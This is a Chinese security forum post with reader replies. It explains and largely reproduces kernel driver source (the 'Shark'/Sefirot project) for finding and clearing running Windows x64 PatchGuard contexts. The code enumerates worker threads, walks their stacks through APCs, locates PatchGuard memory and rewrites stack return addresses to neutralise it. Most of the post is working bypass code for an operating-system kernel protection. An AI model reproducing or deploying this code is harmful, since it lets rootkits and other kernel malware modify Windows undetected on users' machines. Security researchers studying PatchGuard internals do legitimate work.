首页
论坛
专栏
课程

攻破 Window AMD64 平台的 PatchGuard - 清除执行中的 PatchGuard

2019-5-27 16:47 5622

攻破 Window AMD64 平台的 PatchGuard - 清除执行中的 PatchGuard

2019-5-27 16:47
5622
最近微软更新了 1903 忙着更新了一下代码, 顺便把文章补全, 主要是解释一下如何检测的.

当 PatchGuad 处于执行状态时, 首先解密头部的CmpAppendDllSection, 然后在 CmpAppendDllSection内部完整解密整个Context, 进入PatchGuardEntryPointer, 替换IDT, 关闭DR中断, 自检, 插入WORKER(自捡成功的话), 清空栈, 进入FsRtlUninitializeSmallMcb, 这里FsRtlUninitializeSmallMcb 就是 PatchGuad 的执行主逻辑, 在这个逻辑中大部分时间 PatchGuad 都是处于延时状态以减少CPU 占用.


攻击逻辑首先是枚举当前的 WORKER 线程, 我使用的方法是把自己先插入到 WORKER, 然后通过对比入口点来 判断 WORKER 线程,  然后每个 WORKER 线程插入一个特殊模式的Apc(保存现场->检测逻辑),
VOID
NTAPI
PgCheckAllWorkerThread(
    __inout PPGBLOCK PgBlock
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    PSYSTEM_PROCESS_INFORMATION ProcessInfo = NULL;
    PSYSTEM_EXTENDED_THREAD_INFORMATION ThreadInfo = NULL;
    PVOID Buffer = NULL;
    ULONG BufferSize = PAGE_SIZE;
    ULONG ReturnLength = 0;
    ULONG Index = 0;
    PULONG64 InitialStack = 0;
    DISPATCHER_HEADER * Header = NULL;

    /*
    if (os build >= 9600){
        PgBlock->WorkerContext = struct _DISPATCHER_HEADER

            Header->Type = 0x15
            Header->Hand = 0xac
    }
    else {
        PgBlock->WorkerContext = enum _WORK_QUEUE_TYPE

            CriticalWorkQueue = 0
            DelayedWorkQueue = 1
    }
    */

    InitialStack = IoGetInitialStack();

    if (GetGpBlock(PgBlock)->BuildNumber >= 9600) {
        while ((ULONG64)InitialStack != (ULONG64)&PgBlock) {
            Header = *(PVOID *)InitialStack;

            if (FALSE != MmIsAddressValid(Header)) {
                if (FALSE != MmIsAddressValid((PCHAR)(Header + 1) - 1)) {
                    if (0x15 == Header->Type &&
                        0xac == Header->Hand) {
                        PgBlock->WorkerContext = Header;

                        break;
                    }
                }
            }

            InitialStack--;
        }
    }
    else {
        PgBlock->WorkerContext = UlongToPtr(CriticalWorkQueue);
    }

retry:
    Buffer = ExAllocatePool(
        NonPagedPool,
        BufferSize);

    if (NULL != Buffer) {
        RtlZeroMemory(
            Buffer,
            BufferSize);

        Status = ZwQuerySystemInformation(
            SystemExtendedProcessInformation,
            Buffer,
            BufferSize,
            &ReturnLength);

        if (NT_SUCCESS(Status)) {
            ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)Buffer;

            while (TRUE) {
                if (PsGetCurrentProcessId() == ProcessInfo->UniqueProcessId) {
                    ThreadInfo = (PSYSTEM_EXTENDED_THREAD_INFORMATION)
                        (ProcessInfo + 1);

                    if (NULL == PgBlock->ExpWorkerThread) {
                        for (Index = 0;
                            Index < ProcessInfo->NumberOfThreads;
                            Index++) {
                            if ((ULONG64)PsGetCurrentThreadId() ==
                                (ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread) {
                                PgBlock->ExpWorkerThread = ThreadInfo[Index].Win32StartAddress;

                                break;
                            }
                        }
                    }

                    if (NULL != PgBlock->ExpWorkerThread) {
                        for (Index = 0;
                            Index < ProcessInfo->NumberOfThreads;
                            Index++) {
                            if ((ULONG64)PsGetCurrentThreadId() !=
                                (ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread &&
                                (ULONG64)PgBlock->ExpWorkerThread ==
                                (ULONG64)ThreadInfo[Index].Win32StartAddress) {
                                AsyncCall(
                                    ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread,
                                    NULL,
                                    NULL,
                                    (PUSER_THREAD_START_ROUTINE)PgCheckWorkerThread,
                                    PgBlock);
                            }
                        }
                    }

                    break;
                }

                if (0 == ProcessInfo->NextEntryOffset) {
                    break;
                }
                else {
                    ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)
                        ((PCHAR)ProcessInfo + ProcessInfo->NextEntryOffset);
                }
            }
        }

        ExFreePool(Buffer);
        Buffer = NULL;

        if (STATUS_INFO_LENGTH_MISMATCH == Status) {
            BufferSize = ReturnLength;
            goto retry;
        }
    }
}

Apc的逻辑主要是栈回溯, 当回溯到无模块的返回点时就会停止回溯, 通过最后一个回溯点是不是NULL来判断是不是要检测的线程,当然这里可能存在无模块的其他驱动(比如某P), 先通过BigPool 和 SystemPtes 搜索出内存块的大小,  这里不得不吐槽一下 RtlFindSetBits 有坑,
VOID
NTAPI
PgLocatePoolObject(
    __inout PPGBLOCK PgBlock,
    __in PPGOBJECT Object
)
{
    PFN_NUMBER Index = 0;
    PVOID Establisher = NULL;

    GetCounterBody(&Object->Establisher, &Establisher);

    for (Index = 0;
        Index < PgBlock->PoolBigPageTableSize;
        Index++) {
        if (POOL_BIG_TABLE_ENTRY_FREE !=
            ((ULONG64)PgBlock->PoolBigPageTable[Index].Va & POOL_BIG_TABLE_ENTRY_FREE)) {
            if (NonPagedPool == PgBlock->MmDeterminePoolType(PgBlock->PoolBigPageTable[Index].Va)) {
                if (PgBlock->PoolBigPageTable[Index].NumberOfPages > PgBlock->SizeINITKDBG) {
                    if ((ULONG64)Establisher >= (ULONG64)PgBlock->PoolBigPageTable[Index].Va &&
                        (ULONG64)Establisher < (ULONG64)PgBlock->PoolBigPageTable[Index].Va +
                        PgBlock->PoolBigPageTable[Index].NumberOfPages) {
                        Object->BaseAddress = PgBlock->PoolBigPageTable[Index].Va;
                        Object->RegionSize = PgBlock->PoolBigPageTable[Index].NumberOfPages;

#ifndef PUBLIC
                        DbgPrint(
                            "[Sefirot] [PatchGuard] < %p > found region in pool < %p - %08x >\n",
                            Establisher,
                            Object->BaseAddress,
                            Object->RegionSize);
#endif // !PUBLIC

                        Object->Type = PgPoolBigPage;

                        break;
                    }
                }
            }
        }
    }
}

VOID
NTAPI
PgLocateSystemPtesObject(
    __inout PPGBLOCK PgBlock,
    __in PPGOBJECT Object
)
{
    PRTL_BITMAP BitMap = NULL;
    ULONG BitMapSize = 0;
    PFN_NUMBER NumberOfPtes = 0;
    ULONG HintIndex = 0;
    ULONG StartingRunIndex = 0;
    PVOID Establisher = NULL;

    NumberOfPtes = PgBlock->NumberOfPtes;

    GetCounterBody(&Object->Establisher, &Establisher);

    BitMapSize =
        sizeof(RTL_BITMAP) +
        (ULONG)((((NumberOfPtes + 1) + 31) / 32) * 4);

    BitMap = ExAllocatePool(NonPagedPool, BitMapSize);

    if (NULL != BitMap) {
        RtlInitializeBitMap(
            BitMap,
            (PULONG)(BitMap + 1),
            (ULONG)(NumberOfPtes + 1));

        RtlClearAllBits(BitMap);

        InitializeSystemPtesBitMap(
            PgBlock->BasePte,
            NumberOfPtes,
            BitMap);

        do {
            HintIndex = RtlFindSetBits(
                BitMap,
                1,
                HintIndex);

            if (MAXULONG != HintIndex) {
                RtlFindNextForwardRunClear(
                    BitMap,
                    HintIndex,
                    &StartingRunIndex);

                RtlClearBits(BitMap, HintIndex, StartingRunIndex - HintIndex);

                if ((ULONG64)Establisher >=
                    (ULONG64)GetVirtualAddressMappedByPte(
                        PgBlock->BasePte + HintIndex) &&
                        (ULONG64)Establisher <
                    (ULONG64)GetVirtualAddressMappedByPte(
                        PgBlock->BasePte + StartingRunIndex) - PgBlock->SizeCmpAppendDllSection) {
                    Object->BaseAddress =
                        GetVirtualAddressMappedByPte(PgBlock->BasePte + HintIndex);

                    Object->RegionSize =
                        (SIZE_T)(StartingRunIndex - HintIndex) * PAGE_SIZE;

#ifndef PUBLIC
                    DbgPrint(
                        "[Sefirot] [PatchGuard] < %p > found region in system ptes < %p - %08x >\n",
                        Establisher,
                        Object->BaseAddress,
                        Object->RegionSize);
#endif // !PUBLIC

                    Object->Type = PgSystemPtes;

                    break;
                }

                HintIndex = StartingRunIndex;
            }
        } while (HintIndex < NumberOfPtes);

        ExFreePool(BitMap);
    }
}

VOID
NTAPI
PgLocateObject(
    __inout PPGBLOCK PgBlock,
    __out PPGOBJECT Object
)
{
    IpiSingleCall(
        (PPS_APC_ROUTINE)NULL,
        (PKSYSTEM_ROUTINE)PgLocatePoolObject,
        (PUSER_THREAD_START_ROUTINE)PgBlock,
        (PVOID)Object);

    if (-1 == Object->Type) {
        IpiSingleCall(
            (PPS_APC_ROUTINE)NULL,
            (PKSYSTEM_ROUTINE)PgLocateSystemPtesObject,
            (PUSER_THREAD_START_ROUTINE)PgBlock,
            (PVOID)Object);
    }
}

然后在内存块搜索 SdbpCheckDll 的代码来判断是不是 PatchGuad 执行逻辑, 如果是释放掉内存->重启 WORKER , 不是则恢复运行环境. 为了便于管理, 这里使用了对象的设计方法. 每个检测到的CONTEXT 分配一个对象.

VOID
NTAPI
PgCheckWorkerThread(
    __inout PPGBLOCK PgBlock
)
{
    ULONG64 LowLimit = 0;
    ULONG64 HighLimit = 0;
    PULONG64 InitialStack = 0;
    PULONG64 TargetPc = NULL;
    ULONG Count = 0;
    PCALLERS Callers = NULL;
    ULONG Index = 0;
    LONG_PTR Reference = 0;
    PVOID * Parameters = NULL;
    PGOBJECT TempObject = { 0 };
    PPGOBJECT Object = NULL;

    Callers = ExAllocatePool(
        NonPagedPool,
        MAX_STACK_DEPTH * sizeof(CALLERS));

    if (NULL != Callers) {
        Count = WalkFrameChain(
            Callers,
            MAX_STACK_DEPTH);

        if (0 != Count) {
            // PrintFrameChain(Callers, 0, Count);

            IoGetStackLimits(&LowLimit, &HighLimit);

            InitialStack = IoGetInitialStack();

            // all worker thread start at KiStartSystemThread and return address == 0
            // if null != last return address code is in noimage

            if (NULL != Callers[Count - 1].Establisher) {
#ifndef PUBLIC
                DbgPrint(
                    "[Sefirot] [PatchGuard] < %p > found noimage return address in worker thread\n",
                    Callers[Count - 1].Establisher);
#endif // !PUBLIC

                for (TargetPc = (PULONG64)Callers[Count - 1].EstablisherFrame;
                    (ULONG64)TargetPc < (ULONG64)InitialStack;
                    TargetPc++) {
                    // In most cases, PatchGuard code will wait for a random time.
                    // set return address in current thread stack to _RevertWorkerToSelf
                    // than PatchGuard code was not continue

                    if ((ULONG64)*TargetPc == (ULONG64)Callers[Count - 1].Establisher) {
                        // restart ExpWorkerThread

                        // ExFrame->P1Home = WorkerContext;
                        // ExFrame->P2Home = ExpWorkerThread;
                        // ExFrame->P3Home = PspSystemThreadStartup;
                        // ExFrame->Return = KiStartSystemThread; <- jmp this function return address == 0

                        SetCounterBody(
                            &TempObject.Establisher,
                            Callers[Count - 1].Establisher);

                        TempObject.Type = -1;

                        PgLocateObject(PgBlock, &TempObject);

                        if (-1 != TempObject.Type) {
                            Object = PgCreateObject(
                                PgDeclassified,
                                TempObject.Type,
                                TempObject.BaseAddress,
                                TempObject.RegionSize,
                                NULL,
                                PgBlock,
                                PgBlock->ClearCallback,
                                Callers[Count - 1].Establisher,
                                GetGpBlock(PgBlock)->CaptureContext);

                            if (NULL != Object) {
                                SetCounterBody(
                                    &Object->Establisher,
                                    Callers[Count - 1].Establisher);

                                *TargetPc = (ULONG64)&Object->Establisher;

                                InterlockedIncrementSizeT(&PgBlock->ReferenceCount);

#ifndef PUBLIC
                                DbgPrint(
                                    "[Sefirot] [PatchGuard] < %p > insert worker thread check code\n",
                                    PgBlock->ReferenceCount);
#endif // !PUBLIC
                            }
                        }

                        break;
                    }
                }
            }
        }

        ExFreePool(Callers);
    }
}


源码 : Shark


[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-6-1 15:15 被小艾编辑 ,原因:
打赏 + 12.00
打赏次数 2 金额 + 12.00
 
赞赏  Editor   +2.00 2019/05/31 精品文章~
赞赏  万剑归宗   +10.00 2019/05/28
最新回复 (44)
二娃 2019-5-27 16:49
2
1
飞总牛逼
Sprite雪碧 1 2019-5-27 17:09
3
0
支持飞总
hkfans 3 2019-5-27 17:14
4
0
牛逼,赶紧收藏
Buu 1 2019-5-27 17:36
5
0
牛逼
Tennn 5 2019-5-27 17:42
6
0
支持支持
大只狼 2019-5-27 18:29
7
0
除了牛逼,无法形容
Foodie 2019-5-27 18:41
8
0
飞总牛逼
TopC 2019-5-27 19:05
9
0
感谢分享
fengyunabc 1 2019-5-27 23:21
10
0
感谢分享!
厌倦 2019-5-27 23:54
11
0
牛逼+1
yy虫子yy 2019-5-28 00:41
12
0
谢谢分享
大只狼 2019-5-28 14:49
13
0
握草,一天了还没有精华?这帖子还比不上复制粘贴?
_重黎 2019-5-28 15:54
14
0
飞总牛逼.这才是真心的精华内容.不过飞总的帖子没有一个精华...
FANTASYING 2019-5-28 16:42
15
0
看雪的精华帖只给xxx培训的吗
如斯咩咩咩 2019-5-28 16:42
16
0
感谢分享!
hzqst 3 2019-5-28 16:44
17
0
一键点赞素质三连
万剑归宗 1 2019-5-28 16:44
18
0
看雪的精华帖只给xxx培训的吗
dx苹果的心愿 1 2019-5-28 16:45
19
0
飞总牛逼
萌克力 2019-5-28 16:46
20
0
飞总牛批
库尔 2019-5-28 16:46
21
0
飞总牛逼
萌克力 2019-5-28 16:48
22
0
Sprite雪碧 支持飞总
你家特别肥
sxpp 1 2019-5-28 16:50
23
0
飞总牛逼
黑洛 1 2019-5-28 17:26
24
0
飞总牛逼
zxcvb_217307 2019-5-28 17:53
25
0
把自已的工作成果完整地提供下载,予后来人学习和使用,这是大师的风格和风范。大师辈出,最后都成了一座座丰碑。段纲,Tesla.Angela,小艾。。。。
zhatian 2019-5-28 18:10
26
0
飞总牛逼
Sprite雪碧 1 2019-5-28 20:19
27
0
萌克力 你家特别肥
大佬啥意思?
qdjytony 2019-5-28 23:04
28
0
飞总牛逼
囧囧 2019-5-29 10:02
29
0
Shark
Shark
MaMy 2019-5-29 10:10
30
0
飞总牛逼 
provence 2019-5-29 12:29
31
0
飞总牛逼
kongfubull 2019-5-29 22:23
32
0
必须mark下,以后深入学习
windxiang 2019-5-30 09:17
33
0
感谢分享!
又出bug了 2 2019-5-30 10:51
34
0
牛逼
spreadfame 2019-5-30 11:42
35
0
真的是好文

感谢分享
gaoan 2019-5-30 15:21
36
0
只恨只能点赞一次
killpy 2 2019-5-30 17:02
37
0
赶着上厕所 大概原理 撸了一边 不对的地方别笑 就是 遍历 线程 每个线程一个apc  完后栈回朔 找到未知模块的(ps线程一般返回地址=NULL) 完后开始通过线程上下文栈侦 保存的信息 找到调用检测函数的地方 完后给他吧栈侦信息修改掉 让他直接调用清除回调 从新一个ps线程开始 back to 1942?
最后于 2019-5-30 17:03 被killpy编辑 ,原因: 不完美
在加莱上岸 2019-5-30 17:47
38
0
是的,好贴子呢,来顶!!
Archar 2019-5-30 18:47
39
0
小艾 1 2019-5-30 18:56
40
0
killpy 赶着上厕所 大概原理&nbsp;撸了一边 不对的地方别笑 就是&nbsp;遍历&nbsp;线程&nbsp;每个线程一个apc&nbsp;&nbsp;完后 ...
Callback 里搜索的的是 SdbpCheckDll 代码 匹配即是PG的运行时(确定无模块->确定内存块->确定是PGCONTEXT->干) 不创建新线程 使用原线程直接重新跑线程入口( ExpWorkerThread ) 顺便说一句新线程可能会遇到各种问题
最后于 2019-6-1 15:13 被小艾编辑 ,原因:
Editor 2019-5-31 09:55
41
0
感谢分享~
xxRea 2019-6-5 20:31
42
0
感谢分享~
邪恶军八进制 2019-6-8 10:28
43
0
飞总加不上你Q 十万火急在线等,收到消息加我Q 513492512
tmflxw 2019-10-3 22:18
44
0
有没老兄试过,1903能干掉吗?
mb_phyjrmwy 2天前
45
0
楼主,厉害,私信个联系方式呗。
游客
登录 | 注册 方可回帖
返回